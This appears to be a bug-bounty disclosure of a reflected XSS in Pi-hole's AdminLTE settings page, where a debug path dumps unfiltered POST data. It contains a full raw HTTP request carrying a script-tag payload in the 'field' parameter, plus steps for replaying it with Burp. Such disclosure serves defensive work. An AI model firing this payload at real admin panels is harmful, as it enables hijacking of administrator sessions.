Reflected XSS on any POST parameters with a correct token on /admin/settings.php When field is not in the defined list , $debug value is set to true , and the $POST is dumped without filtering
POST /admin/settings.php HTTP/1.1
Host: 192.168.159.138
Content-Length: 88
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.159.138
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.159.138/admin/settings.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=***
Connection: close
field=<script>alert(1)</script>&token=***
Originally Reported: https://huntr.dev/bounties/875a6885-9a64-46f3-94ad-92f40f989200/
Reflected XSS on any POST parameters with a correct token on /admin/settings.php When field is not in the defined list , $debug value is set to true , and the $POST is dumped without filtering
Proof of Concept
Login as admin
Settings -> Flush log
replace field with XSS payload using burp
https://github.com/pi-hole/AdminLTE/blob/fb9bd561fdf936891370d85b32e899dff1dbf9d4/settings.php#L44
https://github.com/pi-hole/AdminLTE/blob/fb9bd561fdf936891370d85b32e899dff1dbf9d4/scripts/pi-hole/php/savesettings.php#L752-L755